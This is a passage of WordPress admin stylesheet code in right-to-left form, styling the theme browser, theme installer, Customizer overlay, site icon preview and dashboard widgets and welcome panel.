.single-theme .theme-overlay .theme-header,
.single-theme .theme {
	display: none;
}

.single-theme .theme-overlay .theme-wrap {
	clear: both;
	min-height: 330px;
	position: relative;
	right: auto;
	left: auto;
	top: auto;
	bottom: auto;
	z-index: 10;
}

.single-theme .theme-overlay .theme-about {
	padding: 30px 30px 70px;
	position: static;
}

.single-theme .theme-overlay .theme-actions {
	position: absolute;
}

/**
 * Basic Responsive structure...
 *
 * Shuffles theme columns around based on screen width
 */

@media only screen and (min-width: 2000px) {
	#wpwrap .theme-browser .theme {
		width: 17.6%;
		margin: 0 0 3% 3%;
	}

	#wpwrap .theme-browser .theme:nth-child(3n),
	#wpwrap .theme-browser .theme:nth-child(4n) {
		margin-left: 3%;
	}

	#wpwrap .theme-browser .theme:nth-child(5n) {
		margin-left: 0;
	}
}

@media only screen and (min-width: 1680px) {
	.theme-overlay .theme-wrap {
		width: 1450px;
		margin: 0 auto;
	}
}

/* Maximum screenshot width reaches 440px */
@media only screen and (min-width: 1640px) {
	.theme-browser .theme {
		width: 22.7%;
		margin: 0 0 3% 3%;
	}
	.theme-browser .theme .theme-screenshot:after {
		padding-top: 75%; /* using a 4/3 aspect ratio */
	}

	.theme-browser .theme:nth-child(3n) {
		margin-left: 3%;
	}

	.theme-browser .theme:nth-child(4n) {
		margin-left: 0;
	}
}
/* Maximum screenshot width reaches 440px */
@media only screen and (max-width: 1120px) {
	.theme-browser .theme {
		width: 47.5%;
		margin-left: 0;
	}

	.theme-browser .theme:nth-child(even) {
		margin-left: 0;
	}

	.theme-browser .theme:nth-child(odd) {
		margin-left: 5%;
	}
}

/* Admin menu is folded */
@media only screen and (max-width: 960px) {
	.theme-overlay .theme-wrap {
		right: 65px;
	}
}

@media only screen and (max-width: 782px) {
	body.folded .theme-overlay .theme-wrap,
	.theme-overlay .theme-wrap {
		top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */
		left: 0;
		bottom: 0;
		right: 0;
		padding: 70px 20px 20px;
		border: none;
		z-index: 100000; /* should overlap #wpadminbar. */
		position: fixed;
	}

	.theme-browser .theme.active .theme-name span {
		/* Hide the "Active: " label on smaller screens. */
		display: none;
	}

	.theme-overlay .theme-screenshots {
		width: 40%;
	}

	.theme-overlay .theme-info {
		width: 50%;
	}
	.single-theme .theme-wrap {
		padding: 10px;
	}

	.theme-browser .theme .theme-actions {
		padding: 5px 10px 4px;
	}

	.theme-overlay.small-screenshot .theme-screenshots {
		position: static;
		float: none;
		max-width: 302px;
	}

	.theme-overlay.small-screenshot .theme-info {
		margin-right: 0;
		width: auto;
	}

	.theme:not(.active):hover .theme-actions,
	.theme:not(.active):focus .theme-actions,
	.theme:hover .more-details,
	.theme.focus .more-details {
		display: none;
	}

	.theme-browser.rendered .theme:hover .theme-screenshot img,
	.theme-browser.rendered .theme.focus .theme-screenshot img {
		opacity: 1.0;
	}
}

@media only screen and (max-width: 480px) {
	.theme-browser .theme {
		width: 100%;
		margin-left: 0;
	}

	.theme-browser .theme:nth-child(2n),
	.theme-browser .theme:nth-child(3n) {
		margin-left: 0;
	}

	.theme-overlay .theme-about {
		bottom: 105px;
	}

	.theme-overlay .theme-actions {
		padding-right: 4%;
		padding-left: 4%;
	}
}

@media only screen and (max-width: 650px) {
	.theme-overlay .theme-description {
		margin-right: 0;
	}

	.theme-overlay .theme-actions .delete-theme {
		position: relative;
		left: auto;
		bottom: auto;
	}

	.theme-overlay .theme-actions .inactive-theme {
		display: inline;
	}

	.theme-overlay .theme-screenshots {
		width: 100%;
		float: none;
	}

	.theme-overlay .theme-info {
		width: 100%;
	}

	.theme-overlay .theme-author {
		margin: 5px 0 15px;
	}

	.theme-overlay .current-label {
		margin-top: 10px;
		font-size: 13px;
	}

	.themes-php .wp-filter-search {
		float: none;
		clear: both;
		right: 0;
		left: 0;
		margin: -5px 0 20px;
		width: 100%;
		max-width: 280px;
	}

	.theme-browser .theme.add-new-theme span:after {
		font: normal 60px/90px dashicons;
		width: 80px;
		height: 80px;
		top: 30%;
		right: 50%;
		text-indent: 0;
		margin-right: -40px;
	}

	.single-theme .theme-wrap {
		margin: 0 -10px 0 -12px;
		padding: 10px;
	}
	.single-theme .theme-overlay .theme-about {
		padding: 10px;
		overflow: visible;
	}
	.single-theme .current-label {
		display: none;
	}
	.single-theme .theme-overlay .theme-actions {
		position: static;
	}
}

.broken-themes {
	clear: both;
}

.broken-themes table {
	text-align: right;
	width: 50%;
	border-spacing: 3px;
	padding: 3px;
}


/*------------------------------------------------------------------------------
  16.2 - Install Themes
------------------------------------------------------------------------------*/

.update-php .wrap {
	max-width: 40rem;
}

/* Already installed theme */
.theme-browser .theme .theme-installed {
	background: #2271b1;
}

.theme-browser .theme .notice-success p:before {
	color: #68de7c;
	content: "\f147";
	display: inline-block;
	font: normal 20px/1 'dashicons';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.theme-install.updated-message:before {
	content: "";
}

.theme-install-php .wp-filter {
	padding-right: 20px;
}

.theme-install-php a.upload,
.theme-install-php a.browse-themes {
	cursor: pointer;
}

.upload-view-toggle .browse,
.plugin-install-tab-upload .upload-view-toggle .upload {
	display: none;
}

.plugin-install-tab-upload .upload-view-toggle .browse {
	display: inline;
}

.upload-theme,
.upload-plugin {
	box-sizing: border-box;
	display: none;
	margin: 0;
	padding: 50px 0;
	width: 100%;
	overflow: hidden;
	position: relative;
	top: 10px;
	text-align: center;
}

.show-upload-view .upload-theme,
.show-upload-view .upload-plugin,
.show-upload-view .upload-plugin-wrap,
.plugin-install-tab-upload .upload-plugin {
	display: block;
}

.upload-theme .wp-upload-form,
.upload-plugin .wp-upload-form {
	background: #f6f7f7;
	border: 1px solid #c3c4c7;
	padding: 30px;
	margin: 30px auto;
	display: inline-flex;
	justify-content: space-between;
	align-items: center;
}

.upload-theme .wp-upload-form input[type="file"],
.upload-plugin .wp-upload-form input[type="file"] {
	margin-left: 10px;
}

.upload-theme .install-help,
.upload-plugin .install-help {
	color: #50575e; /* #f1f1f1 background */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 0;
	text-align: center;
}

p.no-themes,
p.no-themes-local {
	clear: both;
	color: #646970;
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0;
	text-align: center;
	display: none;
}

.no-results p.no-themes {
	display: block;
}

.theme-install-php .add-new-theme {
	display: none !important;
}

@media only screen and (max-width: 1120px) {
	.upload-theme .wp-upload-form {
		margin: 20px 0;
		max-width: 100%;
	}
	.upload-theme .install-help {
		font-size: 15px;
		padding: 20px 0 0;
	}
}

.theme-details .theme-rating {
	line-height: 1.9;
}

.theme-details .star-rating {
	display: inline;
}

.theme-details .num-ratings,
.theme-details .no-rating {
	font-size: 11px;
	color: #646970;
}

.theme-details .no-rating {
	display: block;
	line-height: 1.9;
}

.update-from-upload-comparison {
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
	text-align: right;
	margin: 1rem 0 1.4rem;
	border-collapse: collapse;
	width: 100%;
}

.update-from-upload-comparison tr:last-child td {
	height: 1.4rem;
    vertical-align: top;
}

.update-from-upload-comparison tr:first-child th {
	font-weight: bold;
	height: 1.4rem;
    vertical-align: bottom;
}

.update-from-upload-comparison td.name-label {
	text-align: left;
}

.update-from-upload-comparison td,
.update-from-upload-comparison th {
	padding: 0.4rem 1.4rem;
}

.update-from-upload-comparison td.warning {
	color: #d63638;
}

.update-from-upload-actions {
	margin-top: 1.4rem;
}

/*------------------------------------------------------------------------------
  16.3 - Custom Header Screen
------------------------------------------------------------------------------*/

.appearance_page_custom-header #headimg {
	border: 1px solid #dcdcde;
	overflow: hidden;
	width: 100%;
}

.appearance_page_custom-header #upload-form p label {
	font-size: 12px;
}

.appearance_page_custom-header .available-headers .default-header {
	float: right;
	margin: 0 0 20px 20px;
}

.appearance_page_custom-header .random-header {
	clear: both;
	margin: 0 0 20px 20px;
	vertical-align: middle;
}

.appearance_page_custom-header .available-headers label input,
.appearance_page_custom-header .random-header label input {
	margin-left: 10px;
}

.appearance_page_custom-header .available-headers label img {
	vertical-align: middle;
}


/*------------------------------------------------------------------------------
  16.4 - Custom Background Screen
------------------------------------------------------------------------------*/

div#custom-background-image {
	min-height: 100px;
	border: 1px solid #dcdcde;
}

div#custom-background-image img {
	max-width: 400px;
	max-height: 300px;
}

.background-position-control input[type="radio"]:checked ~ .button {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	z-index: 1;
}

.background-position-control input[type="radio"]:focus ~ .button {
	border-color: #4f94d4;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 3px rgba(34, 113, 177, 0.8);
	color: #1d2327;
}

.background-position-control .background-position-center-icon,
.background-position-control .background-position-center-icon:before {
	display: inline-block;
	line-height: 1;
	text-align: center;
	transition: background-color .1s ease-in;
}

.background-position-control .background-position-center-icon {
	height: 20px;
	margin-top: 13px;
	vertical-align: top;
	width: 20px;
}

.background-position-control .background-position-center-icon:before {
	background-color: #50575e;
	border-radius: 50%;
	content: "";
	height: 12px;
	width: 12px;
}

.background-position-control .button:hover .background-position-center-icon:before,
.background-position-control input[type="radio"]:focus ~ .button .background-position-center-icon:before {
	background-color: #1d2327;
}

.background-position-control .button-group {
	display: block;
}

.background-position-control .button-group .button {
	border-radius: 0;
	box-shadow: none;
	/* Following properties are overridden by buttons responsive styles (see: wp-includes/css/buttons.css). */
	height: 40px !important;
	line-height: 2.9 !important;
	margin: 0 0 0 -1px !important;
	padding: 0 10px 1px !important;
	position: relative;
}

.background-position-control .button-group .button:active,
.background-position-control .button-group .button:hover,
.background-position-control .button-group .button:focus {
	z-index: 1;
}

.background-position-control .button-group:last-child .button {
	box-shadow: 0 1px 0 #c3c4c7;
}

.background-position-control .button-group > label {
	margin: 0 !important;
}

.background-position-control .button-group:first-child > label:first-child .button {
	border-radius: 0 3px 0 0;
}

.background-position-control .button-group:first-child > label:first-child .dashicons {
	transform: rotate( -45deg );
}

.background-position-control .button-group:first-child > label:last-child .button {
	border-radius: 3px 0 0 0;
}

.background-position-control .button-group:first-child > label:last-child .dashicons {
	transform: rotate( 45deg );
}

.background-position-control .button-group:last-child > label:first-child .button {
	border-radius: 0 0 3px 0;
}

.background-position-control .button-group:last-child > label:first-child .dashicons {
	transform: rotate( 45deg );
}

.background-position-control .button-group:last-child > label:last-child .button {
	border-radius: 0 0 0 3px;
}

.background-position-control .button-group:last-child > label:last-child .dashicons {
	transform: rotate( -45deg );
}

.background-position-control .button-group .dashicons {
	margin-top: 9px;
}

.background-position-control .button-group + .button-group {
	margin-top: -1px;
}

/*------------------------------------------------------------------------------
  23.0 - Full Overlay w/ Sidebar
------------------------------------------------------------------------------*/

body.full-overlay-active {
	overflow: hidden;
	/* Hide all the content, the Customizer overlay is then made visible to be the only available content. */
	visibility: hidden;
}

.wp-full-overlay {
	background: transparent;
	z-index: 500000;
	position: fixed;
	overflow: visible;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	height: 100%;
	min-width: 0;
}

.wp-full-overlay-sidebar {
	box-sizing: border-box;
	position: fixed;
	min-width: 300px;
	max-width: 600px;
	width: 18%;
	height: 100%;
	top: 0;
	bottom: 0;
	right: 0;
	padding: 0;
	margin: 0;
	z-index: 10;
	background: #f0f0f1;
	border-left: none;
}

.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
	overflow: visible;
}

.wp-full-overlay.collapsed,
.wp-full-overlay.expanded .wp-full-overlay-sidebar {
	margin-right: 0 !important;
}

.wp-full-overlay.expanded {
	margin-right: 300px;
}

.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
	margin-right: -300px;
}

@media screen and (min-width: 1667px) {
	.wp-full-overlay.expanded {
		margin-right: 18%;
	}

	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
		margin-right: -18%;
	}
}

@media screen and (min-width: 3333px) {
	.wp-full-overlay.expanded {
		margin-right: 600px;
	}

	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
		margin-right: -600px;
	}
}

.wp-full-overlay-sidebar:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	width: 3px;
	z-index: 1000;
}

.wp-full-overlay-main {
	position: absolute;
	right: 0;
	left: 0;
	top: 0;
	bottom: 0;
	height: 100%;
}

.wp-full-overlay-sidebar .wp-full-overlay-header {
	position: absolute;
	right: 0;
	left: 0;
	height: 45px;
	padding: 0 15px;
	line-height: 3.2;
	z-index: 10;
	margin: 0;
	border-top: none;
	box-shadow: none;
}

.wp-full-overlay-sidebar .wp-full-overlay-header a.back {
	margin-top: 9px;
}

.wp-full-overlay-sidebar .wp-full-overlay-footer {
	bottom: 0;
	border-bottom: none;
	border-top: none;
	box-shadow: none;
}

.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
	position: absolute;
	top: 45px;
	bottom: 45px;
	right: 0;
	left: 0;
	overflow: auto;
}

/* Close & Navigation Links */
.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header {
	padding: 0;
}

.theme-install-overlay .close-full-overlay,
.theme-install-overlay .previous-theme,
.theme-install-overlay .next-theme {
	display: block;
	position: relative;
	float: right;
	width: 45px;
	height: 45px;
	background: #f0f0f1;
	border-left: 1px solid #dcdcde;
	color: #3c434a;
	cursor: pointer;
	text-decoration: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-install-overlay .close-full-overlay:hover,
.theme-install-overlay .close-full-overlay:focus,
.theme-install-overlay .previous-theme:hover,
.theme-install-overlay .previous-theme:focus,
.theme-install-overlay .next-theme:hover,
.theme-install-overlay .next-theme:focus {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
	outline: none;
	box-shadow: none;
}

.theme-install-overlay .close-full-overlay:before {
	font: normal 22px/1 dashicons;
	content: "\f335";
	position: relative;
	top: 7px;
	right: 13px;
}

.theme-install-overlay .previous-theme:before {
	font: normal 20px/1 dashicons;
	content: "\f345";
	position: relative;
	top: 6px;
	right: 14px;
}

.theme-install-overlay .next-theme:before {
	font: normal 20px/1 dashicons;
	content: "\f341";
	position: relative;
	top: 6px;
	right: 13px;
}

.theme-install-overlay .previous-theme.disabled,
.theme-install-overlay .next-theme.disabled,
.theme-install-overlay .previous-theme.disabled:hover,
.theme-install-overlay .previous-theme.disabled:focus,
.theme-install-overlay .next-theme.disabled:hover,
.theme-install-overlay .next-theme.disabled:focus {
	color: #c3c4c7;
	background: #f0f0f1;
	cursor: default;
	pointer-events: none;
}

.theme-install-overlay .close-full-overlay,
.theme-install-overlay .previous-theme,
.theme-install-overlay .next-theme {
	border-right: 0;
	border-top: 0;
	border-bottom: 0;
}

.theme-install-overlay .close-full-overlay:before,
.theme-install-overlay .previous-theme:before,
.theme-install-overlay .next-theme:before {
	top: 2px;
	right: 0;
}

/* Collapse Button */
.wp-core-ui .wp-full-overlay .collapse-sidebar {
	position: fixed;
	bottom: 0;
	right: 0;
	padding: 9px 10px 9px 0;
	height: 45px;
	color: #646970;
	outline: 0;
	line-height: 1;
	background-color: transparent !important;
	border: none !important;
	box-shadow: none !important;
	border-radius: 0 !important;
}

.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
	color: #2271b1;
}

.wp-full-overlay .collapse-sidebar-arrow,
.wp-full-overlay .collapse-sidebar-label {
	display: inline-block;
	vertical-align: middle;
	line-height: 1.6;
}

.wp-full-overlay .collapse-sidebar-arrow {
	width: 20px;
	height: 20px;
	margin: 0 2px; /* avoid the focus box-shadow to be cut-off */
	border-radius: 50%;
	overflow: hidden;
}

.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-full-overlay .collapse-sidebar-label {
	margin-right: 3px;
}

.wp-full-overlay.collapsed .collapse-sidebar-label {
	display: none;
}

.wp-full-overlay .collapse-sidebar-arrow:before {
	display: block;
	content: "\f148";
	background: #f0f0f1;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar {
	padding: 9px 10px;
}

/* rtl:ignore */
.wp-full-overlay.collapsed .collapse-sidebar-arrow:before,
.rtl .wp-full-overlay .collapse-sidebar-arrow:before {
	transform: rotate(180.001deg); /* Firefox: promoting to its own layer to trigger anti-aliasing */
}

.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before {
	transform: none;
}

/* Animations */
.wp-full-overlay,
.wp-full-overlay-sidebar,
.wp-full-overlay .collapse-sidebar,
.wp-full-overlay-main {
	transition-property: right, left, top, bottom, width, margin;
	transition-duration: 0.2s;
}

/* Device/preview size toggles */

.wp-full-overlay {
	background: #1d2327;
}

.wp-full-overlay-main {
	background-color: #f0f0f1;
}

.expanded .wp-full-overlay-footer {
	position: fixed;
	bottom: 0;
	right: 0;
	min-width: 299px;
	max-width: 599px;
	width: 18%;
	width: calc( 18% - 1px );
	height: 45px;
	border-top: 1px solid #dcdcde;
	background: #f0f0f1;
}

.wp-full-overlay-footer .devices-wrapper {
	float: left;
}

.wp-full-overlay-footer .devices {
	position: relative;
	background: #f0f0f1;
	box-shadow: 20px 0 10px -5px #f0f0f1;
}

.wp-full-overlay-footer .devices button {
	cursor: pointer;
	background: transparent;
	border: none;
	height: 45px;
	padding: 0 3px;
	margin: 0 -4px 0 0;
	box-shadow: none;
	border-top: 1px solid transparent;
	border-bottom: 4px solid transparent;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
}

.wp-full-overlay-footer .devices button:focus {
	box-shadow: none;
	outline: none;
}

.wp-full-overlay-footer .devices button:before {
	display: inline-block;
	-webkit-font-smoothing: antialiased;
	font: normal 20px/30px "dashicons";
	vertical-align: top;
	margin: 3px 0;
	padding: 4px 8px;
	color: #646970;
}

.wp-full-overlay-footer .devices button.active {
	border-bottom-color: #1d2327;
}

.wp-full-overlay-footer .devices button:hover,
.wp-full-overlay-footer .devices button:focus {
	background-color: #fff;
}

.wp-full-overlay-footer .devices button:focus,
.wp-full-overlay-footer .devices button.active:hover {
	border-bottom-color: #2271b1;
}

.wp-full-overlay-footer .devices button.active:before {
	color: #1d2327;
}

.wp-full-overlay-footer .devices button:hover:before,
.wp-full-overlay-footer .devices button:focus:before {
	color: #2271b1;
}

.wp-full-overlay-footer .devices .preview-desktop:before {
	content: "\f472";
}

.wp-full-overlay-footer .devices .preview-tablet:before {
	content: "\f471";
}

.wp-full-overlay-footer .devices .preview-mobile:before {
	content: "\f470";
}

@media screen and (max-width: 1024px) {
	.wp-full-overlay-footer .devices {
		display: none;
	}
}

.collapsed .wp-full-overlay-footer .devices button:before {
	display: none;
}

.preview-mobile .wp-full-overlay-main {
	margin: auto -160px auto 0;
	width: 320px;
	height: 480px;
	max-height: 100%;
	max-width: 100%;
	right: 50%;
}

.preview-tablet .wp-full-overlay-main {
	margin: auto -360px auto 0;
	width: 720px; /* Size is loosely based on a typical "tablet" device size. Intentionally ambiguous - this does not represent any particular device precisely. */
	height: 1080px;
	max-height: 100%;
	max-width: 100%;
	right: 50%;
}


/*------------------------------------------------------------------------------
  24.0 - Customize Loader
------------------------------------------------------------------------------*/

.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

#customize-container,
#customize-controls .notice.notification-overlay {
	background: #f0f0f1;
	z-index: 500000;
	position: fixed;
	overflow: visible;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	height: 100%;
}
#customize-container {
	display: none;
}

/* Make the Customizer and Theme installer overlays the only available content. */
#customize-container,
.theme-install-overlay {
	visibility: visible;
}

.customize-loading #customize-container iframe {
	opacity: 0;
}

#customize-container iframe,
.theme-install-overlay iframe {
	height: 100%;
	width: 100%;
	z-index: 20;
	transition: opacity 0.3s;
}

#customize-controls {
	margin-top: 0;
}

.theme-install-overlay {
	display: none;
}

.theme-install-overlay.single-theme {
	display: block;
}

.install-theme-info {
	display: none;
	padding: 10px 20px 60px;
}

.single-theme .install-theme-info {
	padding-top: 15px;
}

.theme-install-overlay .install-theme-info {
	display: block;
}

.install-theme-info .theme-install {
	float: left;
	margin-top: 18px;
}

.install-theme-info .theme-name {
	font-size: 16px;
	line-height: 1.5;
	margin-bottom: 0;
	margin-top: 0;
}

.install-theme-info .theme-screenshot {
	margin: 15px 0;
	width: 258px;
	border: 1px solid #c3c4c7;
	position: relative;
	overflow: hidden;
}

.install-theme-info .theme-screenshot > img {
	width: 100%;
	height: auto;
	position: absolute;
	right: 0;
	top: 0;
}

.install-theme-info .theme-screenshot:after {
	content: "";
	display: block;
	padding-top: 66.66666666%;
}

.install-theme-info .theme-details {
	overflow: hidden;
}

.theme-details .theme-version {
	margin: 15px 0;
}

.theme-details .theme-description {
	float: right;
	color: #646970;
	line-height: 1.6;
	max-width: 100%;
}

.theme-install-overlay .wp-full-overlay-header .button {
	float: left;
	margin: 8px 0 0 10px;
}

.theme-install-overlay .wp-full-overlay-sidebar {
	background: #f0f0f1;
	border-left: 1px solid #dcdcde;
}

.theme-install-overlay .wp-full-overlay-sidebar-content {
	background: #fff;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
}

.theme-install-overlay .wp-full-overlay-main {
	position: absolute;
	z-index: 0;
	background-color: #f0f0f1;
}

.customize-loading #customize-container {
	background-color: #f0f0f1;
}

#customize-preview.wp-full-overlay-main:before,
.customize-loading #customize-container:before,
#customize-controls .notice.notification-overlay.notification-loading:before,
.theme-install-overlay .wp-full-overlay-main:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	right: 50%;
	top: 50%;
	z-index: -1;
	margin: -10px -10px 0 0;
	transform: translateZ(0);
	background: transparent url(../images/spinner.gif) no-repeat center center;
	background-size: 20px 20px;
}

#customize-preview.wp-full-overlay-main.iframe-ready:before,
.theme-install-overlay.iframe-ready .wp-full-overlay-main:before {
	background-image: none;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.wp-full-overlay .collapse-sidebar-arrow {
		background-image: url(../images/arrows-2x.png);
		background-size: 15px 123px;
	}

	#customize-preview.wp-full-overlay-main:before,
	.customize-loading #customize-container:before,
	#customize-controls .notice.notification-overlay.notification-loading:before,
	.theme-install-overlay .wp-full-overlay-main:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	.available-theme .action-links .delete-theme {
		float: none;
		margin: 0;
		padding: 0;
		clear: both;
	}

	.available-theme .action-links .delete-theme a {
		padding: 0;
	}

	.broken-themes table {
		width: 100%;
	}

	.theme-install-overlay .wp-full-overlay-header .button {
		font-size: 13px;
		line-height: 2.15384615;
		min-height: 30px;
	}

	.theme-browser .theme .theme-actions .button {
		margin-bottom: 0;
	}

	.theme-browser .theme.active .theme-actions,
	.theme-browser .theme .theme-actions {
		padding-top: 4px;
		padding-bottom: 4px;
	}

	.upload-theme .wp-upload-form,
	.upload-plugin .wp-upload-form {
		display: block;
	}
}

@media aural {
	.theme .notice:before,
	.theme-info .updating-message:before,
	.theme-info .updated-message:before,
	.theme-install.updating-message:before {
		speak: never;
	}
}
/*------------------------------------------------------------------------------
  28.0 - Site Icon
------------------------------------------------------------------------------*/

.site-icon-preview .favicon-preview {
	margin: 5px 0 20px;
	overflow: hidden;
	position: relative;
	max-width: 180px;
}

.site-icon-preview .favicon,
.site-icon-preview .browser-title {
	height: 16px;
	left: 88px;
	overflow: hidden;
	position: absolute;
	top: 16px;
}

.site-icon-preview .favicon {
	width: 16px;
}

.site-icon-preview .browser-title {
	left: 109px;
	width: 72px;
	white-space: nowrap;
}

.site-icon-preview .app-icon-preview {
	background-color: #000;
	border-radius: 16px;
	height: 64px;
	overflow: hidden;
	width: 64px;
	margin-top: 5px;
}

/* rtl:ignore */
.site-icon-preview .favicon,
.site-icon-preview .app-icon-preview {
	direction: ltr;
}

.customize-control-site_icon .favicon-preview {
	float: left;
	margin-right: 12px;
	margin-bottom: 0;
}

.customize-control-site_icon .app-icon-preview {
	margin-top: 9px;
}

.site-icon-section button.reset {
	color: #b32d2e;
	text-decoration: none;
	border-color: transparent;
	box-shadow: none;
	background: transparent;
}

.site-icon-section button.reset:focus,
.site-icon-section button.reset:hover {
	background: #b32d2e;
	color: #fff;
	border-color: #b32d2e;
	box-shadow: 0 0 0 1px #b32d2e;
}

.site-icon-section .action-buttons {
	display: flex;
	flex-wrap: wrap;
	gap: 10px;
}
/*! This file is auto-generated */
#wpbody-content #dashboard-widgets.columns-1 .postbox-container {
	width: 100%;
}

#wpbody-content #dashboard-widgets.columns-2 .postbox-container {
	width: 49.5%;
}

#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,
#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,
#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 {
	float: left;
	width: 50.5%;
}

#wpbody-content #dashboard-widgets.columns-3 .postbox-container {
	width: 33.5%;
}

#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 {
	width: 33%;
}

#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,
#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 {
	float: left;
}

#wpbody-content #dashboard-widgets.columns-4 .postbox-container {
	width: 25%;
}

#dashboard-widgets .postbox-container {
	width: 25%;
}

#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container {
	border: none !important;
}

#dashboard-widgets-wrap {
	overflow: hidden;
	margin: 0 -8px;
}

#dashboard-widgets .postbox .inside {
	margin-bottom: 0;
}

#dashboard-widgets .meta-box-sortables {
	display: flow-root; /* avoid margin collapsing between parent and first/last child elements */
	/* Required min-height to make the jQuery UI Sortable drop zone work. */
	min-height: 100px;
	margin: 0 8px 20px;
}

#dashboard-widgets .postbox-container .empty-container {
	outline: 3px dashed #c3c4c7;
	height: 250px;
}

/* Only highlight drop zones when dragging and only in the 2 columns layout. */
.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables {
	outline: 3px dashed #646970;
	/* Prevent margin on the child from collapsing with margin on the parent. */
	display: flow-root;
}

#dashboard-widgets .postbox-container .empty-container:after {
	content: attr(data-emptystring);
	margin: auto;
	position: absolute;
	top: 50%;
	right: 0;
	left: 0;
	transform: translateY( -50% );
	padding: 0 2em;
	text-align: center;
	color: #646970;
	font-size: 16px;
	line-height: 1.5;
	display: none;
}


/* @todo: this was originally in this section, but likely belongs elsewhere */
#the-comment-list td.comment p.comment-author {
	margin-top: 0;
	margin-right: 0;
}

#the-comment-list p.comment-author img {
	float: right;
	margin-left: 8px;
}

#the-comment-list p.comment-author strong a {
	border: none;
}

#the-comment-list td {
	vertical-align: top;
}

#the-comment-list td.comment {
	word-wrap: break-word;
}

#the-comment-list td.comment img {
	max-width: 100%;
}

/* Screen meta exception for when the "Dashboard" heading is missing or located below the Welcome Panel. */
.index-php #screen-meta-links {
	margin: 0 0 8px 20px;
}

/* Welcome Panel */
.welcome-panel {
	position: relative;
	overflow: auto;
	margin: 16px 0;
	background-color: #151515;
	font-size: 14px;
	line-height: 1.3;
	clear: both;
}

.welcome-panel h2 {
	margin: 0;
	font-size: 48px;
	font-weight: 600;
	line-height: 1.25;
}

.welcome-panel h3 {
	margin: 0;
	font-size: 20px;
	font-weight: 400;
	line-height: 1.4;
}

.welcome-panel p {
	font-size: inherit;
	line-height: inherit;
}

.welcome-panel-header {
	position: relative;
	color: #fff;
}

.welcome-panel-header-image {
	position: absolute !important;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	z-index: 0 !important;
	overflow: hidden;
}

.welcome-panel-header-image svg {
	display: block;
	margin: auto;
	width: 100%;
	height: 100%;
}

.rtl .welcome-panel-header-image svg {
	transform: scaleX(-1);
}

.welcome-panel-header * {
	color: inherit;
	position: relative;
	z-index: 1;
}

.welcome-panel-header a:focus,
.welcome-panel-header a:hover {
	color: inherit;
	text-decoration: none;
}

.welcome-panel-header a:focus,
.welcome-panel .welcome-panel-close:focus {
	outline-color: currentColor;
	outline-offset: 1px;
	box-shadow: none;
}

.welcome-panel-header p {
	margin: 0.5em 0 0;
	font-size: 20px;
	line-height: 1.4;
}

.welcome-panel .welcome-panel-close {
	position: absolute;
	top: 10px;
	left: 10px;
	padding: 10px 24px 10px 15px;
	font-size: 13px;
	line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */
	text-decoration: none;
	z-index: 1; /* Raise above the version image. */
}

.welcome-panel .welcome-panel-close:before {
	position: absolute;
	top: 8px;
	right: 0;
	transition: all .1s ease-in-out;
	content: '\f335';
	font-size: 24px;
	color: #fff;
}

.welcome-panel .welcome-panel-close {
	color: #fff;
}

.welcome-panel .welcome-panel-close:hover,
.welcome-panel .welcome-panel-close:focus,
.welcome-panel .welcome-panel-close:hover::before,
.welcome-panel .welcome-panel-close:focus::before {
	color: #fff972;
}

/* @deprecated 5.9.0 -- Button removed from panel. */
.wp-core-ui .welcome-panel .button.button-hero {
	margin: 15px 0 3px 13px;
	padding: 12px 36px;
	height: auto;
	line-height: 1.4285714;
	white-space: normal;
}

.welcome-panel-content {
	min-height: 400px;
	display: flex;
	flex-direction: column;
	justify-content: space-between;
